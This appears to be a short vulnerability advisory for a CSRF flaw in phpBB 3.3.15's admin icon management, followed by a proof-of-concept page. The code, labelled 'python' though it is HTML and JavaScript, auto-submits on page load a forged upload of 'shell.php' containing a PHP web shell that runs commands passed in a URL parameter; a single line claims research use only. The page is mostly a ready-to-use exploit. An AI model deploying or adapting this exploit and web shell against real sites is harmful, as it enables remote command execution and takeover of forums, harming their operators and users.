Cross Site Request Forgery vulnerability in Phpbb phbb3 v.3.3.15 allows a local attacker to execute arbitrary code via the Admin Control Panel icon management functionality.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2025-70811 -->
<!-- Exploit CSRF in ACP Icon Management -->
<html>
<body>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://target-site/phpBB/adm/index.php?i=acp_icons&mode=icons&action=add", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary");
// Payload to upload malicious icon or modify settings
var body = "------WebKitFormBoundary\r\n";
body += "Content-Disposition: form-data; name=\"icon\"; filename=\"shell.php\"\r\n";
body += "Content-Type: image/jpeg\r\n\r\n";
body += "<?php system($_GET['cmd']); ?>\r\n";
body += "------WebKitFormBoundary--\r\n";
xhr.send(body);
}
// Auto trigger on load
window.onload = submitRequest;
</script>
</body>
</html>